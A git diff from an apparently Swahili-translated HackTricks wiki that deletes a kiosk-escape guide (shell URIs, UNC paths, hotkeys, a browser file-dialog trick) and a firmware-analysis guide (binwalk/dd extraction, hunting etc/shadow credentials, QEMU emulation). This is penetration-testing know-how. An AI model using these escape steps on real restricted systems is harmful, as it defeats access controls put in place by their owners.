Unahitaji **kuunda folda tupu ya ndani itakayotumika kuhifadhi mabadiliko**, hivyo tengeneza tu folda mpya ya ndani na uweke kama override katika ukurasa huo.
@ -21,7 +19,7 @@ Kisha, katika "Dev Tools" --> "Sources" **chagua faili** unayotaka kubadilisha n
![](<../../images/image (742).png>)
Hii it **nakala faili la JS kwa ndani** na utaweza **kubadilisha nakala hiyo katika browsa**. Hivyo ongeza tu amri **`debugger;`** popote unapotaka, **hifadhi** mabadiliko na **pakiwa tena** ukurasa, na kila wakati unapoingia kwenye ukurasa huo wa wavuti **nakala yako ya ndani ya JS itapakiwa** na amri yako ya debugger itabaki mahali pake:
Hii it **nakala faili la JS kwa ndani** na utaweza **kubadilisha nakala hiyo katika kivinjari**. Hivyo ongeza tu amri **`debugger;`** popote unapotaka, **hifadhi** mabadiliko na **pakiwa tena** ukurasa, na kila wakati unapoingia kwenye ukurasa huo wa wavuti **nakala yako ya ndani ya JS itapakiwa** na amri yako ya debugger itabaki mahali pake:
![](<../../images/image (594).png>)

View File

@ -1,276 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Angalia hatua zinazowezekana ndani ya programu ya GUI
**Mazungumzo ya Kawaida** ni zile chaguzi za **kuhifadhi faili**, **kufungua faili**, kuchagua fonti, rangi... Mengi yao yatatoa **ufunctionality kamili ya Explorer**. Hii inamaanisha kwamba utaweza kufikia functionalities za Explorer ikiwa utaweza kufikia chaguzi hizi:
- Funga/Funga kama
- Fungua/Fungua na
- Chapisha
- Hamisha/Pokea
- Tafuta
- Scan
Unapaswa kuangalia ikiwa unaweza:
- Kubadilisha au kuunda faili mpya
- Kuunda viungo vya alama
- Kupata ufikiaji wa maeneo yaliyopigwa marufuku
- Kutekeleza programu nyingine
## Utekelezaji wa Amri
Labda **ukitumia chaguo la `Fungua na`** unaweza kufungua/kutekeleza aina fulani ya shell.
### Windows
Kwa mfano _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ pata zaidi ya binaries ambazo zinaweza kutumika kutekeleza amri (na kufanya vitendo visivyotarajiwa) hapa: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX \_\_
_bash, sh, zsh..._ Zaidi hapa: [https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## Kupita vizuizi vya njia
- **Mabadiliko ya mazingira**: Kuna mabadiliko mengi ya mazingira yanayoelekeza kwenye njia fulani
- **Protokali nyingine**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
- **Viungo vya alama**
- **Mifano**: CTRL+N (fungua kikao kipya), CTRL+R (Tekeleza Amri), CTRL+SHIFT+ESC (Meneja wa Kazi), Windows+E (fungua explorer), CTRL-B, CTRL-I (Mipendekezo), CTRL-H (Historia), CTRL-L, CTRL-O (Faili/Fungua Mazungumzo), CTRL-P (Chapisha Mazungumzo), CTRL-S (Hifadhi Kama)
- Menyu ya Usimamizi iliyofichwa: CTRL-ALT-F8, CTRL-ESC-F9
- **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
- **Njia za UNC**: Njia za kuungana na folda zilizoshirikiwa. Unapaswa kujaribu kuungana na C$ ya mashine ya ndani ("\\\127.0.0.1\c$\Windows\System32")
- **Njia zaidi za UNC:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
| %LOGONSERVER% | %PATH% | %PATHEXT% |
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
| %PROMPT% | %PSModulePath% | %Public% |
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## Pakua Binaries Zako
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Mhariri wa rejista: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Kupata mfumo wa faili kutoka kwa kivinjari
| PATH | PATH | PATH | PATH |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
## Mifano
- Fungua funguo Bonyeza SHIFT mara 5
- Funguo za Panya SHIFT+ALT+NUMLOCK
- Mwangaza Mkali SHIFT+ALT+PRINTSCN
- Funguo za Kubadili Shikilia NUMLOCK kwa sekunde 5
- Funguo za Filter Shikilia SHIFT ya kulia kwa sekunde 12
- WINDOWS+F1 Utafutaji wa Windows
- WINDOWS+D Onyesha Desktop
- WINDOWS+E Anzisha Windows Explorer
- WINDOWS+R Kimbia
- WINDOWS+U Kituo cha Urahisi wa Ufikiaji
- WINDOWS+F Tafuta
- SHIFT+F10 Menyu ya Muktadha
- CTRL+SHIFT+ESC Meneja wa Kazi
- CTRL+ALT+DEL Skrini ya Splash kwenye toleo jipya la Windows
- F1 Msaada F3 Tafuta
- F6 Bar ya Anwani
- F11 Badilisha skrini kamili ndani ya Internet Explorer
- CTRL+H Historia ya Internet Explorer
- CTRL+T Internet Explorer Kichupo Kipya
- CTRL+N Internet Explorer Ukurasa Mpya
- CTRL+O Fungua Faili
- CTRL+S Hifadhi CTRL+N RDP Mpya / Citrix
## Mswipe
- Swipe kutoka upande wa kushoto kwenda kulia ili kuona Windows zote zilizo wazi, kupunguza programu ya KIOSK na kufikia mfumo mzima wa uendeshaji moja kwa moja;
- Swipe kutoka upande wa kulia kwenda kushoto kufungua Kituo cha Hatua, kupunguza programu ya KIOSK na kufikia mfumo mzima wa uendeshaji moja kwa moja;
- Swipe kutoka kwenye kingo ya juu ili kufanya bar ya kichwa ionekane kwa programu iliyofunguliwa kwa hali ya skrini kamili;
- Swipe juu kutoka chini kuonyesha upau wa kazi katika programu ya skrini kamili.
## Hila za Internet Explorer
### 'Kichombo cha Picha'
Ni kichombo kinachotokea juu-kushoto ya picha wakati kinapobonyezwa. Utaweza Kuhifadhi, Chapisha, Mailto, Fungua "Picha Zangu" katika Explorer. Kiosk inahitaji kutumia Internet Explorer.
### Protokali ya Shell
Andika hizi URLs ili kupata mtazamo wa Explorer:
- `shell:Administrative Tools`
- `shell:DocumentsLibrary`
- `shell:Libraries`
- `shell:UserProfiles`
- `shell:Personal`
- `shell:SearchHomeFolder`
- `shell:NetworkPlacesFolder`
- `shell:SendTo`
- `shell:UserProfiles`
- `shell:Common Administrative Tools`
- `shell:MyComputerFolder`
- `shell:InternetFolder`
- `Shell:Profile`
- `Shell:ProgramFiles`
- `Shell:System`
- `Shell:ControlPanelFolder`
- `Shell:Windows`
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Kituo cha Kudhibiti
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Kompyuta Yangu
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mahali Yangu ya Mtandao
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## Onyesha Nyongeza za Faili
Angalia ukurasa huu kwa maelezo zaidi: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# Hila za Kivinjari
Backup iKat toleo:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
Unda mazungumzo ya kawaida kwa kutumia JavaScript na upate explorer ya faili: `document.write('<input/type=file>')`
Chanzo: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## Gestures na vifungo
- Swipe juu na vidole vinne (au vitano) / Bonyeza mara mbili kitufe cha Nyumbani: Ili kuona mtazamo wa multitask na kubadilisha Programu
- Swipe kwa njia moja au nyingine na vidole vinne au vitano: Ili kubadilisha kwenda kwenye Programu inayofuata/ya mwisho
- Pinch skrini na vidole vitano / Gusa kitufe cha Nyumbani / Swipe juu na kidole 1 kutoka chini ya skrini kwa haraka: Ili kufikia Nyumbani
- Swipe kidole 1 kutoka chini ya skrini inchi 1-2 (polepole): Dock itaonekana
- Swipe chini kutoka juu ya onyesho kwa kidole 1: Ili kuona arifa zako
- Swipe chini kwa kidole 1 kwenye kona ya juu-kulia ya skrini: Ili kuona kituo cha kudhibiti cha iPad Pro
- Swipe kidole 1 kutoka kushoto mwa skrini inchi 1-2: Ili kuona mtazamo wa Leo
- Swipe haraka kidole 1 kutoka katikati ya skrini kwenda kulia au kushoto: Ili kubadilisha kwenda kwenye Programu inayofuata/ya mwisho
- Bonyeza na shikilia kitufe cha On/**Off**/Sleep kwenye kona ya juu-kulia ya **iPad +** Hamisha Slide ili **kuzimisha** slider yote kwenda kulia: Ili kuzima
- Bonyeza kitufe cha On/**Off**/Sleep kwenye kona ya juu-kulia ya **iPad na kitufe cha Nyumbani kwa sekunde chache**: Ili kulazimisha kuzima kwa nguvu
- Bonyeza kitufe cha On/**Off**/Sleep kwenye kona ya juu-kulia ya **iPad na kitufe cha Nyumbani haraka**: Ili kuchukua picha ya skrini ambayo itatokea chini kushoto ya onyesho. Bonyeza vitufe vyote kwa wakati mmoja kwa muda mfupi kana kwamba unavyoshikilia kwa sekunde chache kuzima kwa nguvu kutafanyika.
## Mifano
Unapaswa kuwa na kibodi ya iPad au adapta ya kibodi ya USB. Mifano pekee ambazo zinaweza kusaidia kutoroka kutoka kwa programu zitakuwa hapa.
| Key | Jina |
| --- | ------------ |
| ⌘ | Amri |
| ⌥ | Chaguo (Alt) |
| ⇧ | Shift |
| ↩ | Kurudi |
| ⇥ | Tab |
| ^ | Udhibiti |
| ← | Arrow ya Kushoto |
| → | Arrow ya Kulia |
| ↑ | Arrow ya Juu |
| ↓ | Arrow ya Chini |
### Mifano ya Mfumo
Mifano hii ni kwa mipangilio ya kuona na mipangilio ya sauti, kulingana na matumizi ya iPad.
| Mifano | Kitendo |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Punguza Sscreen |
| F2 | Pandisha skrini |
| F7 | Rudi wimbo mmoja |
| F8 | Cheza/Simamisha |
| F9 | Kosa wimbo |
| F10 | Zima |
| F11 | Punguza sauti |
| F12 | Pandisha sauti |
| ⌘ Space | Onyesha orodha ya lugha zinazopatikana; ili kuchagua moja, bonyeza upya nafasi. |
### Usafiri wa iPad
| Mifano | Kitendo |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Nenda Nyumbani |
| ⌘⇧H (Amri-Shift-H) | Nenda Nyumbani |
| ⌘ (Space) | Fungua Spotlight |
| ⌘⇥ (Amri-Tab) | Orodha ya programu kumi zilizotumika hivi karibuni |
| ⌘\~ | Nenda kwenye Programu ya mwisho |
| ⌘⇧3 (Amri-Shift-3) | Picha ya skrini (inashikilia chini kushoto kuhifadhi au kufanya kazi nayo) |
| ⌘⇧4 | Picha ya skrini na ifungue kwenye mhariri |
| Bonyeza na shikilia ⌘ | Orodha ya mifano inayopatikana kwa Programu |
| ⌘⌥D (Amri-Chaguo/Alt-D) | Inaleta dock |
| ^⌥H (Udhibiti-Chaguo-H) | Kitufe cha Nyumbani |
| ^⌥H H (Udhibiti-Chaguo-H-H) | Onyesha upau wa multitask |
| ^⌥I (Udhibiti-Chaguo-i) | Chaguo la kipengee |
| Escape | Kitufe cha nyuma |
| → (Arrow ya Kulia) | Kipengee kinachofuata |
| ← (Arrow ya Kushoto) | Kipengee kilichopita |
| ↑↓ (Arrow ya Juu, Arrow ya Chini) | Bonyeza kwa pamoja kipengee kilichochaguliwa |
| ⌥ ↓ (Chaguo-Arrow ya Chini) | Punguza chini |
| ⌥↑ (Chaguo-Arrow ya Juu) | Pandisha juu |
| ⌥← au ⌥→ (Chaguo-Arrow ya Kushoto au Chaguo-Arrow ya Kulia) | Punguza kushoto au kulia |
| ^⌥S (Udhibiti-Chaguo-S) | Geuza sauti ya VoiceOver kuwa juu au chini |
| ⌘⇧⇥ (Amri-Shift-Tab) | Badilisha kwenda kwenye programu ya awali |
| ⌘⇥ (Amri-Tab) | Badilisha kurudi kwenye programu ya awali |
| ←+→, kisha Chaguo + ← au Chaguo+→ | Tembea kupitia Dock |
### Mifano ya Safari
| Mifano | Kitendo |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Amri-L) | Fungua Mahali |
| ⌘T | Fungua kichupo kipya |
| ⌘W | Funga kichupo cha sasa |
| ⌘R | Refresh kichupo cha sasa |
| ⌘. | Simamisha kupakia kichupo cha sasa |
| ^⇥ | Badilisha kwenda kwenye kichupo kinachofuata |
| ^⇧⇥ (Udhibiti-Shift-Tab) | Hamisha kwenda kwenye kichupo kilichopita |
| ⌘L | Chagua uwanja wa kuingiza maandiko/URL ili kuibadilisha |
| ⌘⇧T (Amri-Shift-T) | Fungua kichupo kilichofungwa mwisho (kinaweza kutumika mara kadhaa) |
| ⌘\[ | Rudi ukurasa mmoja katika historia yako ya kuvinjari |
| ⌘] | Nenda mbele ukurasa mmoja katika historia yako ya kuvinjari |
| ⌘⇧R | Aktivisha Modu ya Msomaji |
### Mifano ya Barua
| Mifano | Kitendo |
| -------------------------- | ---------------------------- |
| ⌘L | Fungua Mahali |
| ⌘T | Fungua kichupo kipya |
| ⌘W | Funga kichupo cha sasa |
| ⌘R | Refresh kichupo cha sasa |
| ⌘. | Simamisha kupakia kichupo cha sasa |
| ⌘⌥F (Amri-Chaguo/Alt-F) | Tafuta kwenye sanduku lako la barua |
# Marejeleo
- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,240 +0,0 @@
# Firmware Analysis
{{#include ../../banners/hacktricks-training.md}}
## **Utangulizi**
Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimamia na kuwezesha mawasiliano kati ya vipengele vya vifaa na programu ambayo watumiaji wanashirikiana nayo. Inahifadhiwa katika kumbukumbu ya kudumu, kuhakikisha kwamba kifaa kinaweza kufikia maagizo muhimu tangu wakati kinapowashwa, na kusababisha uzinduzi wa mfumo wa uendeshaji. Kuchunguza na labda kubadilisha firmware ni hatua muhimu katika kubaini udhaifu wa usalama.
## **Kukusanya Taarifa**
**Kukusanya taarifa** ni hatua ya awali muhimu katika kuelewa muundo wa kifaa na teknolojia zinazotumiwa. Mchakato huu unahusisha kukusanya data kuhusu:
- Mchoro wa CPU na mfumo wa uendeshaji unaotumika
- Maelezo ya bootloader
- Mpangilio wa vifaa na karatasi za data
- Vipimo vya msingi wa msimbo na maeneo ya chanzo
- Maktaba za nje na aina za leseni
- Historia za sasisho na vyeti vya udhibiti
- Mchoro wa usanifu na michoro ya mtiririko
- Tathmini za usalama na udhaifu ulioainishwa
Kwa kusudi hili, zana za **open-source intelligence (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia michakato ya ukaguzi wa mikono na otomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmles LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua masuala yanayoweza kutokea.
## **Kupata Firmware**
Kupata firmware kunaweza kufanywa kwa njia mbalimbali, kila moja ikiwa na ngazi yake ya ugumu:
- **Moja kwa moja** kutoka kwa chanzo (waendelezaji, watengenezaji)
- **Kujenga** kutoka kwa maelekezo yaliyotolewa
- **Kupakua** kutoka kwa tovuti rasmi za msaada
- Kutumia **Google dork** maswali kutafuta faili za firmware zilizohifadhiwa
- Kufikia **hifadhi ya wingu** moja kwa moja, kwa kutumia zana kama [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Kukamata **sasisho** kupitia mbinu za mtu katikati
- **Kutoa** kutoka kwa kifaa kupitia muunganisho kama **UART**, **JTAG**, au **PICit**
- **Kusikiliza** maombi ya sasisho ndani ya mawasiliano ya kifaa
- Kutambua na kutumia **nukta za sasisho zilizowekwa**
- **Kutoa** kutoka kwa bootloader au mtandao
- **Kuondoa na kusoma** chip ya uhifadhi, wakati kila kitu kingine kimeshindwa, kwa kutumia zana sahihi za vifaa
## Kuchambua firmware
Sasa kwamba una **firmware**, unahitaji kutoa taarifa kuhusu hiyo ili kujua jinsi ya kuitendea. Zana tofauti unazoweza kutumia kwa hiyo:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Ikiwa hujapata mengi na zana hizo angalia **entropy** ya picha kwa kutumia `binwalk -E <bin>`, ikiwa entropy ni ya chini, basi haiwezekani kuwa imefungwa. Ikiwa entropy ni ya juu, inawezekana imefungwa (au imepandwa kwa njia fulani).
Zaidi ya hayo, unaweza kutumia zana hizi kutoa **faili zilizojumuishwa ndani ya firmware**:
{{#ref}}
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Au [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) ili kukagua faili.
### Kupata Mfumo wa Faili
Kwa zana zilizotajwa hapo awali kama `binwalk -ev <bin>` unapaswa kuwa umeweza **kutoa mfumo wa faili**.\
Binwalk kawaida hutoa ndani ya **folda iliyopewa jina kama aina ya mfumo wa faili**, ambayo kawaida ni moja ya zifuatazo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Utoaji wa Mfumo wa Faili kwa Mikono
Wakati mwingine, binwalk **haitakuwa na byte ya kichawi ya mfumo wa faili katika saini zake**. Katika kesi hizi, tumia binwalk ili **kupata offset ya mfumo wa faili na kuchonga mfumo wa faili ulio pandwa** kutoka kwa binary na **kutoa kwa mikono** mfumo wa faili kulingana na aina yake kwa kutumia hatua zilizo hapa chini.
```
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Kimbia amri hii **dd** ikichonga mfumo wa faili wa Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Kwa upande mwingine, amri ifuatayo inaweza pia kutekelezwa.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Kwa squashfs (iliyotumika katika mfano hapo juu)
`$ unsquashfs dir.squashfs`
Faili zitakuwa katika saraka "`squashfs-root`" baada ya hapo.
- Faili za archive za CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- Kwa mifumo ya faili ya jffs2
`$ jefferson rootfsfile.jffs2`
- Kwa mifumo ya faili ya ubifs yenye NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Kuchambua Firmware
Mara tu firmware inapopatikana, ni muhimu kuichambua ili kuelewa muundo wake na uwezekano wa udhaifu. Mchakato huu unahusisha kutumia zana mbalimbali kuchambua na kutoa data muhimu kutoka kwa picha ya firmware.
### Zana za Uchambuzi wa Awali
Seti ya amri imetolewa kwa ukaguzi wa awali wa faili ya binary (inayorejelewa kama `<bin>`). Amri hizi husaidia katika kubaini aina za faili, kutoa nyuzi, kuchambua data ya binary, na kuelewa maelezo ya sehemu na mfumo wa faili:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Ili kutathmini hali ya usimbaji wa picha, **entropy** inakaguliwa kwa `binwalk -E <bin>`. Entropy ya chini inaashiria ukosefu wa usimbaji, wakati entropy ya juu inaonyesha uwezekano wa usimbaji au ufinyanzi.
Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile nyaraka za **file-data-carving-recovery-tools** na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa.
### Kutolewa kwa Faili za Mfumo
Kwa kutumia `binwalk -ev <bin>`, mtu anaweza kawaida kutoa mfumo wa faili, mara nyingi katika saraka iliyopewa jina la aina ya mfumo wa faili (mfano, squashfs, ubifs). Hata hivyo, wakati **binwalk** inashindwa kutambua aina ya mfumo wa faili kutokana na kukosekana kwa byte za kichawi, utoaji wa mikono unahitajika. Hii inahusisha kutumia `binwalk` kutafuta offset ya mfumo wa faili, ikifuatiwa na amri ya `dd` ili kuchonga mfumo wa faili:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Baada ya hapo, kulingana na aina ya mfumo wa faili (kwa mfano, squashfs, cpio, jffs2, ubifs), amri tofauti hutumika kutoa maudhui kwa mikono.
### Uchambuzi wa Mfumo wa Faili
Mara mfumo wa faili umepatikana, utafutaji wa kasoro za usalama huanza. Kipaumbele kinatolewa kwa daemons zisizo salama za mtandao, akidi za siri zilizowekwa kwa nguvu, mwisho wa API, kazi za seva za sasisho, msimbo usio na muundo, skripti za kuanzisha, na binaries zilizokusanywa kwa uchambuzi wa mbali.
**Mikoa muhimu** na **vitu** vya kukagua ni pamoja na:
- **etc/shadow** na **etc/passwd** kwa ajili ya akidi za watumiaji
- Vyeti vya SSL na funguo katika **etc/ssl**
- Faili za usanidi na skripti kwa ajili ya uwezekano wa udhaifu
- Binaries zilizojumuishwa kwa uchambuzi zaidi
- Seva za wavuti za vifaa vya IoT na binaries
Zana kadhaa husaidia katika kugundua taarifa nyeti na udhaifu ndani ya mfumo wa faili:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) na [**Firmwalker**](https://github.com/craigz28/firmwalker) kwa ajili ya utafutaji wa taarifa nyeti
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kwa ajili ya uchambuzi wa kina wa firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), na [**EMBA**](https://github.com/e-m-b-a/emba) kwa ajili ya uchambuzi wa statiki na wa dinamik
### Ukaguzi wa Usalama kwenye Binaries Zilizokusanywa
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumiwa.
## Kuiga Firmware kwa Uchambuzi wa Dinamik
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa, kunaweza kuwezesha majaribio zaidi.
### Kuiga Binaries Binafsi
Kwa ajili ya kuchunguza programu moja, kubaini endianness ya programu na usanifu wa CPU ni muhimu.
#### Mfano na Usanifu wa MIPS
Ili kuiga binary ya usanifu wa MIPS, mtu anaweza kutumia amri:
```bash
file ./squashfs-root/bin/busybox
```
Na ili kufunga zana za emulation zinazohitajika:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Kwa MIPS (big-endian), `qemu-mips` inatumika, na kwa binaries za little-endian, `qemu-mipsel` itakuwa chaguo.
#### Uigaji wa Muktadha wa ARM
Kwa binaries za ARM, mchakato ni sawa, huku emulator `qemu-arm` ikitumika kwa uigaji.
### Uigaji wa Mfumo Kamili
Zana kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), na zingine, zinawezesha uigaji kamili wa firmware, zikifanya mchakato kuwa wa kiotomatiki na kusaidia katika uchambuzi wa dynamic.
## Uchambuzi wa Dynamic katika Vitendo
Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumiwa kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na mfumo wa faili. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea mfumo wa faili, kutumia kurasa za wavuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
## Mbinu za Uchambuzi wa Wakati
Uchambuzi wa wakati unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine.
## Ukatili wa Binary na Ushahidi wa Dhihirisho
Kuunda PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
## Mifumo ya Uendeshaji Iliyoandaliwa kwa Uchambuzi wa Firmware
Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, yakiwa na zana muhimu.
## Mifumo ya Uendeshaji Iliyoandaliwa Kuchambua Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudia kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu zilizopakiwa.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Mfumo wa uendeshaji wa mtihani wa usalama wa embedded unaotegemea Ubuntu 18.04 uliojaa zana za mtihani wa usalama wa firmware.
## Firmware Inayoweza Kuathiriwa kwa Mazoezi
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware inayoweza kuathiriwa kama hatua ya kuanzia.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- Mradi wa Firmware ya Router Inayoweza Kuathiriwa
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Router ya ARM Inayoweza Kuathiriwa (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Kifaa cha IoT Inayoweza Kuathiriwa (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Marejeleo
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Mafunzo na Cheti
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Hatua zifuatazo zinapendekezwa kwa kubadilisha mipangilio ya kuanzisha kifaa na bootloaders kama U-boot:
